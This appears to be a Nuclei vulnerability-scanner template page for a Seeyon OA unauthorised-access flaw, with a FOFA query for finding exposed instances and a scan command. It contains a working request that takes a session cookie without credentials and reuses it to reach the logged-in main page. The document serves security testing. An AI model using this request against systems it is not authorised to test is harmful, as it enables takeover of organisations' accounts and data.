Seeyon Unauthorised Access

ID: seeyon-unauth

Severity: high

Author: pikpikcu

Tags: misconfig,seeyon,unauth

Description

Seeyon is vulnerable to unauthorised access.

YAML Source

id: seeyon-unauth

info:
  name: Seeyon Unauthorised Access
  author: pikpikcu
  severity: high
  description: Seeyon is vulnerable to unauthorised access.
  reference:
    - https://mp.weixin.qq.com/s/0AqdfTrZUVrwTMbKEKresg
    - https://github.com/chaitin/xray/blob/f90cf321bc4d294bbf6625a9c4853f3bfdf0a384/pocs/seeyon-oa-cookie-leak.yml
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="致远互联-OA"
  tags: misconfig,seeyon,unauth

http:
  - raw:
      - |
        POST /seeyon/thirdpartyController.do HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: deflate

        method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4
      - |
        GET /seeyon/main.do HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
        Accept-Encoding: deflate
        Content-Type: application/x-www-form-urlencoded
        Cookie: {{session}}

    extractors:
      - type: regex
        name: session
        part: header
        internal: true
        regex:
          - 'JSESSIONID=(.*)'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "当前已登录了一个用户，同一窗口中不能登录多个用户"
          - "<a href='/seeyon/main.do?method=logout'"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d3ec36e9d251b8f3735be040db3bb11d7f97dd3a14d3773910d935208cce1f02022100b72005d278c748608eff74d5a87420a0f39100893111f889d2c43871428aa80e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/misconfiguration/seeyon-unauth.yaml"

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